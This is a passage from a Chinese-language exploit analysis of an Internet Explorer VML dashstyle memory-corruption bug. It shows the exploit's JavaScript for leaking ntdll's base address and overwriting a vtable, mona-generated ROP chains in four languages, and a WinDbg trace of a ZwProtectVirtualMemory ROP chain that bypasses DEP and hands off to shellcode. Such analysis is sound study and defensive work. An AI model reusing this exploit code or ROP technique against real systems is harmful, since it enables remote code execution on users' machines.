vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
var shelladdr = marginLeftAddress_modify;
ntdllbase = parseInt(leak.charCodeAt(1).toString(16) +
leak.charCodeAt(0).toString(16), 16) - 0x464F0;
alert("ntdllbase: 0x" + ntdllbase.toString(16));
alert("shelladdr: 0x" + shelladdr.toString(16));
var rop_chain = tab2uni(get_ropchain(shelladdr));
a[i].marginLeft = rop_chain;
rop_addr = vml1.dashstyle.array.item(0x2E+0x16);
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
vml1.dashstyle.array.length = length_orig;
alert("ropaddr: 0x" + rop_addr.toString(16));
break;
}
}
}
关于ROP链的选择自然是用mona来找最方便了,但这里用的ntdll!ZwProtectVirtualMemory函数来绕过DEP,而mona只提供了VirtualProtect()函数和VirtualAlloc()函数的ROP供选择,所以如果要用ntdll!ZwProtectVirtualMemory我们只能根据参数来布局来选择。
0:005> !py mona rop -m "ntdll.dll"
---------- Mona command started on 2019-05-27 14:47:11 (v2.0, rev 590)----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules ntdll.dll
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Preparing output file '_rop_progress_iexplore.exe_2516.log'
- (Re)setting logfile _rop_progress_iexplore.exe_2516.log
[+] Progress will be written to _rop_progress_iexplore.exe_2516.log
[+] Maximum offset : 40
[+] (Minimum/optional maximum) stackpivot distance : 8
[+] Max nr of instructions : 6
[+] Split output into module rop files ? False
[+] Enumerating 22 endings in 1 module(s)...
- Querying module ntdll.dll
- Search complete :
Ending : RETN 0x02, Nr found : 10
Ending : RETN 0x0C, Nr found : 553
Ending : RETN 0x1C, Nr found : 47
Ending : RETN, Nr found : 2975
Ending : RETN 0x20, Nr found : 38
Ending : RETN 0x18, Nr found : 132
Ending : RETN 0x08, Nr found : 640
Ending : RETN 0x24, Nr found : 25
Ending : RETN 0x28, Nr found : 19
Ending : RETN 0x10, Nr found : 348
Ending : RETN 0x00, Nr found : 49
Ending : RETN 0x06, Nr found : 5
Ending : RETN 0x14, Nr found : 230
Ending : RETN 0x04, Nr found : 657
- Filtering and mutating 5728 gadgets
- Progress update : 1000 / 5728 items processed (Mon 2019/05/27 02:48:22 PM) -(17%)
- Progress update : 2000 / 5728 items processed (Mon 2019/05/27 02:59:04 PM) -(34%)
- Progress update : 3000 / 5728 items processed (Mon 2019/05/27 03:04:21 PM) -(52%)
- Progress update : 4000 / 5728 items processed (Mon 2019/05/27 03:10:10 PM) -(69%)
- Progress update : 5000 / 5728 items processed (Mon 2019/05/27 03:10:59 PM) -(87%)
- Progress update : 5728 / 5728 items processed (Mon 2019/05/27 03:12:20 PM) -(100%)
[+] Creating suggestions list
[+] Processing suggestions
[+] Launching ROP generator
[+] Attempting to produce rop chain for VirtualProtect
Mon 2019/05/27 03:12:25 PM: Step 1/7: esi
** Error trying to process module kernelbase.dll
** Error trying to process module kernelbase.dll
[+] Searching from 0x77660000 to 0x7779c000
Mon 2019/05/27 03:21:34 PM: Step 2/7: ebp
Mon 2019/05/27 03:21:34 PM: Step 3/7: ebx
Mon 2019/05/27 03:21:34 PM: Step 4/7: edx
Mon 2019/05/27 03:21:34 PM: Step 5/7: ecx
Mon 2019/05/27 03:21:34 PM: Step 6/7: edi
Mon 2019/05/27 03:21:34 PM: Step 7/7: eax
[+] Preparing output file 'ntdll_virtualprotect.xml'
- (Re)setting logfile ntdll_virtualprotect.xml
[+] Attempting to produce rop chain for VirtualAlloc
Mon 2019/05/27 03:21:34 PM: Step 1/7: esi
** Error trying to process module kernelbase.dll
** Error trying to process module kernelbase.dll
[+] Searching from 0x77660000 to 0x7779c000
Mon 2019/05/27 03:22:35 PM: Step 2/7: ebp
Mon 2019/05/27 03:22:35 PM: Step 3/7: ebx
Mon 2019/05/27 03:22:35 PM: Step 4/7: edx
Mon 2019/05/27 03:22:35 PM: Step 5/7: ecx
Mon 2019/05/27 03:22:35 PM: Step 6/7: edi
Mon 2019/05/27 03:22:35 PM: Step 7/7: eax
[+] Preparing output file 'ntdll_virtualalloc.xml'
- (Re)setting logfile ntdll_virtualalloc.xml
[+] Preparing output file 'rop_chains.txt'
- (Re)setting logfile rop_chains.txt
[+] ROP chains written to file rop_chains.txt
################################################################################
Register setup for VirtualProtect() :
--------------------------------------------
EAX = NOP (0x90909090)
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualProtect()
EDI = ROP NOP (RETN)
--- alternative chain ---
EAX = ptr to &VirtualProtect()
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------
ROP Chain for VirtualProtect() [(XP/2003 Server and up)] :
----------------------------------------------------------
*** [ Ruby ] ***
def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x776d94d5, # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
0x776d94d5, # skip 4 bytes [ntdll.dll] ** REBASED ** ASLR
0x77695aca, # POP EBX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000201, # 0x00000201-> ebx
0x776a6b7b, # POP EDX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000040, # 0x00000040-> edx
0x777173a2, # POP ECX # RETN [ntdll.dll] ** REBASED ** ASLR
0x7773c513, # &Writable location [ntdll.dll] ** REBASED ** ASLR
0x7769577a, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x77665922, # RETN (ROP NOP) [ntdll.dll] ** REBASED ** ASLR
0x776e0f9a, # POP ESI # RETN [ntdll.dll] ** REBASED ** ASLR
0x77662065, # JMP [EAX] [ntdll.dll]
0x776fa30c, # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000000, # [-] Unable to find ptr to &VirtualProtect()
0x77661052, # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR
0x776e72d9, # ptr to 'jmp esp' [ntdll.dll] ** REBASED ** ASLR
].flatten.pack("V*")
return rop_gadgets
end
# Call the ROP chain generator inside the 'exploit' function :
rop_chain = create_rop_chain()
*** [ C ] ***
#define CREATE_ROP_CHAIN(name, ...)
int name##_length = create_rop_chain(NULL, ##__VA_ARGS__);
unsigned int name[name##_length / sizeof(unsigned int)];
create_rop_chain(name, ##__VA_ARGS__);
int create_rop_chain(unsigned int *buf, unsigned int )
{
// rop chain generated with mona.py - www.corelan.be
unsigned int rop_gadgets[] = {
0x776d94d5, // POP EBP // RETN [ntdll.dll] ** REBASED ** ASLR
0x776d94d5, // skip 4 bytes [ntdll.dll] ** REBASED ** ASLR
0x77695aca, // POP EBX // RETN [ntdll.dll] ** REBASED ** ASLR
0x00000201, // 0x00000201-> ebx
0x776a6b7b, // POP EDX // RETN [ntdll.dll] ** REBASED ** ASLR
0x00000040, // 0x00000040-> edx
0x777173a2, // POP ECX // RETN [ntdll.dll] ** REBASED ** ASLR
0x7773c513, // &Writable location [ntdll.dll] ** REBASED ** ASLR
0x7769577a, // POP EDI // RETN [ntdll.dll] ** REBASED ** ASLR
0x77665922, // RETN (ROP NOP) [ntdll.dll] ** REBASED ** ASLR
0x776e0f9a, // POP ESI // RETN [ntdll.dll] ** REBASED ** ASLR
0x77662065, // JMP [EAX] [ntdll.dll]
0x776fa30c, // POP EAX // RETN [ntdll.dll] ** REBASED ** ASLR
0x00000000, // [-] Unable to find ptr to &VirtualProtect()
0x77661052, // PUSHAD // RETN [ntdll.dll] ** REBASED ** ASLR
0x776e72d9, // ptr to 'jmp esp' [ntdll.dll] ** REBASED ** ASLR
};
if(buf != NULL) {
memcpy(buf, rop_gadgets, sizeof(rop_gadgets));
};
return sizeof(rop_gadgets);
}
// use the 'rop_chain' variable after this call, it's just an unsigned int[]
CREATE_ROP_CHAIN(rop_chain, );
// alternatively just allocate a large enough buffer and get the rop chain,
i.e.:
// unsigned int rop_chain[256];
// int rop_chain_length = create_rop_chain(rop_chain, );
*** [ Python ] ***
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x776d94d5, # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
0x776d94d5, # skip 4 bytes [ntdll.dll] ** REBASED ** ASLR
0x77695aca, # POP EBX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000201, # 0x00000201-> ebx
0x776a6b7b, # POP EDX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000040, # 0x00000040-> edx
0x777173a2, # POP ECX # RETN [ntdll.dll] ** REBASED ** ASLR
0x7773c513, # &Writable location [ntdll.dll] ** REBASED ** ASLR
0x7769577a, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x77665922, # RETN (ROP NOP) [ntdll.dll] ** REBASED ** ASLR
0x776e0f9a, # POP ESI # RETN [ntdll.dll] ** REBASED ** ASLR
0x77662065, # JMP [EAX] [ntdll.dll]
0x776fa30c, # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000000, # [-] Unable to find ptr to &VirtualProtect()
0x77661052, # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR
0x776e72d9, # ptr to 'jmp esp' [ntdll.dll] ** REBASED ** ASLR
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
*** [ JavaScript ] ***
//rop chain generated with mona.py - www.corelan.be
rop_gadgets = unescape(
"%u94d5%u776d" + // 0x776d94d5 : ,# POP EBP # RETN [ntdll.dll] ** REBASED
** ASLR
"%u94d5%u776d" + // 0x776d94d5 : ,# skip 4 bytes [ntdll.dll] ** REBASED **
ASLR
"%u5aca%u7769" + // 0x77695aca : ,# POP EBX # RETN [ntdll.dll] ** REBASED
** ASLR
"%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
"%u6b7b%u776a" + // 0x776a6b7b : ,# POP EDX # RETN [ntdll.dll] ** REBASED
** ASLR
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
"%u73a2%u7771" + // 0x777173a2 : ,# POP ECX # RETN [ntdll.dll] ** REBASED
** ASLR
"%uc513%u7773" + // 0x7773c513 : ,# &Writable location [ntdll.dll] ** REBASED
** ASLR
"%u577a%u7769" + // 0x7769577a : ,# POP EDI # RETN [ntdll.dll] ** REBASED
** ASLR
"%u5922%u7766" + // 0x77665922 : ,# RETN (ROP NOP) [ntdll.dll] ** REBASED
** ASLR
"%u0f9a%u776e" + // 0x776e0f9a : ,# POP ESI # RETN [ntdll.dll] ** REBASED
** ASLR
"%u2065%u7766" + // 0x77662065 : ,# JMP [EAX] [ntdll.dll]
"%ua30c%u776f" + // 0x776fa30c : ,# POP EAX # RETN [ntdll.dll] ** REBASED
** ASLR
"%u0000%u0000" + // 0x00000000 : ,# [-] Unable to find ptr to &VirtualProtect()
"%u1052%u7766" + // 0x77661052 : ,# PUSHAD # RETN [ntdll.dll] ** REBASED
** ASLR
"%u72d9%u776e" + // 0x776e72d9 : ,# ptr to 'jmp esp' [ntdll.dll] ** REBASED
** ASLR
""); // :
--------------------------------------------------------------------------------------------------
################################################################################
Register setup for VirtualAlloc() :
--------------------------------------------
EAX = NOP (0x90909090)
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualAlloc()
EDI = ROP NOP (RETN)
--- alternative chain ---
EAX = ptr to &VirtualAlloc()
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------
ROP Chain for VirtualAlloc() [(XP/2003 Server and up)] :
--------------------------------------------------------
*** [ Ruby ] ***
def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x7772c1f0, # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
0x7772c1f0, # skip 4 bytes [ntdll.dll] ** REBASED ** ASLR
0x77695aca, # POP EBX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000001, # 0x00000001-> ebx
0x776a7599, # POP EDX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00001000, # 0x00001000-> edx
0x7772d241, # POP ECX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000040, # 0x00000040-> ecx
0x77695399, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x77665922, # RETN (ROP NOP) [ntdll.dll] ** REBASED ** ASLR
0x77703e9e, # POP ESI # RETN [ntdll.dll] ** REBASED ** ASLR
0x77662065, # JMP [EAX] [ntdll.dll]
0x776fa30c, # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000000, # [-] Unable to find ptr to &VirtualAlloc()
0x77661052, # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR
0x776be871, # ptr to 'jmp esp' [ntdll.dll] ** REBASED ** ASLR
].flatten.pack("V*")
return rop_gadgets
end
# Call the ROP chain generator inside the 'exploit' function :
rop_chain = create_rop_chain()
*** [ C ] ***
#define CREATE_ROP_CHAIN(name, ...)
int name##_length = create_rop_chain(NULL, ##__VA_ARGS__);
unsigned int name[name##_length / sizeof(unsigned int)];
create_rop_chain(name, ##__VA_ARGS__);
int create_rop_chain(unsigned int *buf, unsigned int )
{
// rop chain generated with mona.py - www.corelan.be
unsigned int rop_gadgets[] = {
0x7772c1f0, // POP EBP // RETN [ntdll.dll] ** REBASED ** ASLR
0x7772c1f0, // skip 4 bytes [ntdll.dll] ** REBASED ** ASLR
0x77695aca, // POP EBX // RETN [ntdll.dll] ** REBASED ** ASLR
0x00000001, // 0x00000001-> ebx
0x776a7599, // POP EDX // RETN [ntdll.dll] ** REBASED ** ASLR
0x00001000, // 0x00001000-> edx
0x7772d241, // POP ECX // RETN [ntdll.dll] ** REBASED ** ASLR
0x00000040, // 0x00000040-> ecx
0x77695399, // POP EDI // RETN [ntdll.dll] ** REBASED ** ASLR
0x77665922, // RETN (ROP NOP) [ntdll.dll] ** REBASED ** ASLR
0x77703e9e, // POP ESI // RETN [ntdll.dll] ** REBASED ** ASLR
0x77662065, // JMP [EAX] [ntdll.dll]
0x776fa30c, // POP EAX // RETN [ntdll.dll] ** REBASED ** ASLR
0x00000000, // [-] Unable to find ptr to &VirtualAlloc()
0x77661052, // PUSHAD // RETN [ntdll.dll] ** REBASED ** ASLR
0x776be871, // ptr to 'jmp esp' [ntdll.dll] ** REBASED ** ASLR
};
if(buf != NULL) {
memcpy(buf, rop_gadgets, sizeof(rop_gadgets));
};
return sizeof(rop_gadgets);
}
// use the 'rop_chain' variable after this call, it's just an unsigned int[]
CREATE_ROP_CHAIN(rop_chain, );
// alternatively just allocate a large enough buffer and get the rop chain,
i.e.:
// unsigned int rop_chain[256];
// int rop_chain_length = create_rop_chain(rop_chain, );
*** [ Python ] ***
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x7772c1f0, # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
0x7772c1f0, # skip 4 bytes [ntdll.dll] ** REBASED ** ASLR
0x77695aca, # POP EBX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000001, # 0x00000001-> ebx
0x776a7599, # POP EDX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00001000, # 0x00001000-> edx
0x7772d241, # POP ECX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000040, # 0x00000040-> ecx
0x77695399, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x77665922, # RETN (ROP NOP) [ntdll.dll] ** REBASED ** ASLR
0x77703e9e, # POP ESI # RETN [ntdll.dll] ** REBASED ** ASLR
0x77662065, # JMP [EAX] [ntdll.dll]
0x776fa30c, # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR
0x00000000, # [-] Unable to find ptr to &VirtualAlloc()
0x77661052, # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR
0x776be871, # ptr to 'jmp esp' [ntdll.dll] ** REBASED ** ASLR
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
*** [ JavaScript ] ***
//rop chain generated with mona.py - www.corelan.be
rop_gadgets = unescape(
"%uc1f0%u7772" + // 0x7772c1f0 : ,# POP EBP # RETN [ntdll.dll] ** REBASED
** ASLR
"%uc1f0%u7772" + // 0x7772c1f0 : ,# skip 4 bytes [ntdll.dll] ** REBASED **
ASLR
"%u5aca%u7769" + // 0x77695aca : ,# POP EBX # RETN [ntdll.dll] ** REBASED
** ASLR
"%u0001%u0000" + // 0x00000001 : ,# 0x00000001-> ebx
"%u7599%u776a" + // 0x776a7599 : ,# POP EDX # RETN [ntdll.dll] ** REBASED
** ASLR
"%u1000%u0000" + // 0x00001000 : ,# 0x00001000-> edx
"%ud241%u7772" + // 0x7772d241 : ,# POP ECX # RETN [ntdll.dll] ** REBASED
** ASLR
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> ecx
"%u5399%u7769" + // 0x77695399 : ,# POP EDI # RETN [ntdll.dll] ** REBASED
** ASLR
"%u5922%u7766" + // 0x77665922 : ,# RETN (ROP NOP) [ntdll.dll] ** REBASED
** ASLR
"%u3e9e%u7770" + // 0x77703e9e : ,# POP ESI # RETN [ntdll.dll] ** REBASED
** ASLR
"%u2065%u7766" + // 0x77662065 : ,# JMP [EAX] [ntdll.dll]
"%ua30c%u776f" + // 0x776fa30c : ,# POP EAX # RETN [ntdll.dll] ** REBASED
** ASLR
"%u0000%u0000" + // 0x00000000 : ,# [-] Unable to find ptr to &VirtualAlloc()
"%u1052%u7766" + // 0x77661052 : ,# PUSHAD # RETN [ntdll.dll] ** REBASED
** ASLR
"%ue871%u776b" + // 0x776be871 : ,# ptr to 'jmp esp' [ntdll.dll] ** REBASED
** ASLR
""); // :
--------------------------------------------------------------------------------------------------
ROP generator finished
[+] Preparing output file 'stackpivot.txt'
- (Re)setting logfile stackpivot.txt
[+] Writing stackpivots to file stackpivot.txt
Wrote 0 pivots to file
[+] Preparing output file 'rop_suggestions.txt'
- (Re)setting logfile rop_suggestions.txt
[+] Writing suggestions to file rop_suggestions.txt
********************************************************************************
Traceback (most recent call last):
File "mona.py", line 18592, in main
commands[command].parseProc(opts)
File "mona.py", line 11649, in procROP
findROPGADGETS(modulecriteria,criteria,endings,maxoffset,depth,split,thedistance,fast,mode,sortedprint)
File "mona.py", line 6571, in findROPGADGETS
with open(thislog, "a") as fh:
IOError: [Errno 13] Permission denied: 'rop_suggestions.txt'
********************************************************************************
来看一看exp具体的ROP链
vml1.dashstyle.array.item(6) = rop_addr; //覆盖到虚表
vml1.dashstyle.array.item( 9) = ntdllbase+Number(0x47643); //pop edi # ret
vml1.dashstyle.array.item(10) = ntdllbase+Number(0x45f18);
//NtProtectVirtualMemory
vml1.dashstyle.array.item(11) = ntdllbase+Number(0xc71ef); //pop esi # ret
vml1.dashstyle.array.item(12) = shellcodeaddr;
vml1.dashstyle.array.item(13) = ntdllbase+Number(0xcb72a); //pop ebp # ret
vml1.dashstyle.array.item(14) = 0-1; // -1
vml1.dashstyle.array.item(15) = ntdllbase+Number(0x348b9); //pop ebx # ret
vml1.dashstyle.array.item(16) = rop_addr+12; //ptr RegionSize
vml1.dashstyle.array.item(17) = ntdllbase+Number(0x9a30c); //pop eax # ret
vml1.dashstyle.array.item(18) = 0-96601473;
vml1.dashstyle.array.item(19) = ntdllbase+Number(0x3ab39); //add eax,5C205C1h #
ret
vml1.dashstyle.array.item(20) = ntdllbase+Number(0x36d70); //xchg eax,edx # ret
vml1.dashstyle.array.item(21) = ntdllbase+Number(0xcd241); //pop ecx # ret
vml1.dashstyle.array.item(22) = rop_addr; //ptr to OldAccessProtection
vml1.dashstyle.array.item(23) = ntdllbase+Number(0x227c4); //pushad # ret
vml1.dashstyle.array.item(24) = shellcodeaddr;
vml1.dashstyle.array.item(25) = Number(0x10400);
vml1.dashstyle.array.item(26) = shellcodeaddr;
因为rop_addr是动态变化的,无法准确定位,所以我定在了后面的第一句pop edi,它的地址是ntdll的基址+0x47643=0x77660000+0x47643,我们在这里下硬件访问断点。
0:015> ba e1 776a7643
0:015> bl
0 e Disable Clear 776a7643 e 1 0001 (0001) 0:**** ntdll!strstr+0x84
0:015> g
ModLoad: 6be40000 6bef2000 C:WindowsSystem32jscript.dll
Breakpoint 0 hit
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
eax=00000089 ebx=00000001 ecx=0480125c edx=0000008a esi=0480125c edi=05a7f5b8
eip=776a7643 esp=05ac92a8 ebp=0249cf8c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!strstr+0x84:
776a7643 5f pop edi
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can be inaccurate.
可以看到当前的栈空间就是已经布置好了的rop链,当前的位置为pop edi,而当前栈顶0x776a5f18为ntdll!ZwProtectVirtualMemory函数的位置,rop链主要的目的就是把ntdll!ZwProtectVirtualMemory参数布置好,然后跳到ntdll!ZwProtectVirtualMemory执行,之后跟着shellcode执行就可以了。
0:005> dd esp
05ac92a8 776a5f18 777271ef 048563b4 7772b72a
05ac92b8 ffffffff 776948b9 04801268 776fa30c
05ac92c8 fa3dfa7f 7769ab39 77696d70 7772d241
05ac92d8 0480125c 776827c4 048563b4 00010400
05ac92e8 048563b4 00000000 7dafed29 880097d8
05ac92f8 6d7f5504 05a7f958 00000001 00000000
05ac9308 7dafed16 8800ed54 6d7f5504 05a7fa38
05ac9318 00000001 00000000 7dafed13 88000000
ntdll!ZwProtectVirtualMemory:
776a5f18 b8d7000000 mov eax,0D7h
776a5f1d ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
776a5f22 ff12 call dword ptr [edx]
776a5f24 c21400 ret 14h
往下走,ret跳到另一个片段
ntdll!strstr+0x85:
776a7644 c3 ret
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
0:005> dd esp
05ac92ac 777271ef 048563b4 7772b72a ffffffff
777271ef 5e pop esi
777271f0 c3 ret
接下来把0x48563b4给了esi,通过前面关于ntdll!ZwProtectVirtualMemory函数参数的解释,我们可以看出esi是返回地址,跟进去看一下,这个代码是不是很熟悉,没错,这就是shellcode。
048563b4 33c9 xor ecx,ecx
048563b6 648b4130 mov eax,dword ptr fs:[ecx+30h]
048563ba 8b580c mov ebx,dword ptr [eax+0Ch]
048563bd 8b7314 mov esi,dword ptr [ebx+14h]
048563c0 ad lods dword ptr [esi]
048563c1 96 xchg eax,esi
048563c2 ad lods dword ptr [esi]
048563c3 8b5810 mov ebx,dword ptr [eax+10h]
048563c6 8b533c mov edx,dword ptr [ebx+3Ch]
048563c9 03d3 add edx,ebx
048563cb 8b5278 mov edx,dword ptr [edx+78h]
048563ce 03d3 add edx,ebx
048563d0 8b7220 mov esi,dword ptr [edx+20h]
048563d3 03f3 add esi,ebx
048563d5 33c9 xor ecx,ecx
048563d7 41 inc ecx
接下来再把ffffffff给了ebp,0x481268给了ebx。
7772b72a 5d pop ebp
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
0:005> dd esp
05ac92b8 ffffffff 776948b9 04801268 776fa30c
ntdll!_memccpy+0x59:
776948b9 5b pop ebx
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
0:005> dd esp
05ac92c0 04801268 776fa30c fa3dfa7f 7769ab39
ntdll!TppCritResetThread+0x43:
这里可能会有点疑问,因为函数的参数布置并没有和eax有关,这里为什么要给eax赋值,并且跟在它后面一句的是add eax,5C205C1h,这似乎看起来更奇怪了。其实这里没有问题,我们可以看到函数参数要求edx为0x40,那代表着我们输入的时候需要输的是0x00000040,这样就有了很多的x00会被当做终止符,所以这里vupon就用了这种方法先给eax赋值0xfa3dfa7f然后又加上了0x5c205c1,可以算下0xfa3dfa7f+0x5c205c1=0x100000040最后取后八位也就是0x40。然后后面用xchg将eax赋值和edx交换。
776fa30c 58 pop eax
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
0:005> dd esp
05ac92c8 fa3dfa7f 7769ab39 77696d70 7772d241
0:005> p
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
eax=fa3dfa7f ebx=04801268 ecx=0480125c edx=0000008a esi=048563b4 edi=776a5f18
eip=7769ab39 esp=05ac92d0 ebp=ffffffff iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!$$VProc_ImageExportDirectory+0x49a9:
7769ab39 05c105c205 add eax,5C205C1h
0:005> p
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
eax=00000040 ebx=04801268 ecx=0480125c edx=0000008a esi=048563b4 edi=776a5f18
eip=7769ab3e esp=05ac92d0 ebp=ffffffff iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
ntdll!$$VProc_ImageExportDirectory+0x49ae:
7769ab3e c3 ret
0:005> p
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
eax=00000040 ebx=04801268 ecx=0480125c edx=0000008a esi=048563b4 edi=776a5f18
eip=77696d70 esp=05ac92d4 ebp=ffffffff iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
ntdll!$$VProc_ImageExportDirectory+0xbe0:
77696d70 92 xchg eax,edx
继续传参ecx
0:005> p
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
eax=0000008a ebx=04801268 ecx=0480125c edx=00000040 esi=048563b4 edi=776a5f18
eip=7772d241 esp=05ac92d8 ebp=ffffffff iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
ntdll!wcsncpy_s+0x111:
7772d241 59 pop ecx
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
0:005> p
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
eax=0000008a ebx=04801268 ecx=0480125c edx=00000040 esi=048563b4 edi=776a5f18
eip=7772d242 esp=05ac92dc ebp=ffffffff iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
ntdll!wcsncpy_s+0x112:
7772d242 c3 ret
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
0:005> dd esp
05ac92dc 776827c4 048563b4 00010400 048563b4
接下去一个pushad,将所有通用寄存器全部压栈,压栈的顺序是EAX,ECX,EDX,EBX,ESP(初始值),EBP,ESI,EDI.
0:005> p
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
eax=0000008a ebx=04801268 ecx=0480125c edx=00000040 esi=048563b4 edi=776a5f18
eip=776827c4 esp=05ac92e0 ebp=ffffffff iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
ntdll!LdrpUnloadDll+0x24a:
776827c4 60 pushad
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
0:005> dd esp
05ac92e0 048563b4 00010400 048563b4 00000000
05ac92f0 7dafed29 880097d8 6d7f5504 05a7f958
05ac9300 00000001 00000000 7dafed16 8800ed54
05ac9310 6d7f5504 05a7fa38 00000001 00000000
05ac9320 7dafed13 88000000 6d7f5504 05a7fb18
05ac9330 00000001 00000000 7dafed10 880098da
05ac9340 6d7f5504 05a7fbf8 00000001 00000000
05ac9350 7dafed1d 88009c44 6d7f5504 05a7fcd8
0:005> p
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
eax=0000008a ebx=04801268 ecx=0480125c edx=00000040 esi=048563b4 edi=776a5f18
eip=776827c5 esp=05ac92c0 ebp=ffffffff iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
ntdll!LdrpUnloadDll+0x24b:
776827c5 c3 ret
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
0:005> dd esp
05ac92c0 776a5f18 048563b4 ffffffff 05ac92e0
05ac92d0 04801268 00000040 0480125c 0000008a
05ac92e0 048563b4 00010400 048563b4 00000000
05ac92f0 7dafed29 880097d8 6d7f5504 05a7f958
05ac9300 00000001 00000000 7dafed16 8800ed54
05ac9310 6d7f5504 05a7fa38 00000001 00000000
05ac9320 7dafed13 88000000 6d7f5504 05a7fb18
05ac9330 00000001 00000000 7dafed10 880098da
可以看到当前esp为ntdll!ZwProtectVirtualMemory函数的地址,接下去的ret就会直接到这个函数,并且所有的参数都已经布置完毕。
0:005> p
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
eax=0000008a ebx=04801268 ecx=0480125c edx=00000040 esi=048563b4 edi=776a5f18
eip=776a5f18 esp=05ac92c4 ebp=ffffffff iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
ntdll!ZwProtectVirtualMemory:
776a5f18 b8d7000000 mov eax,0D7h
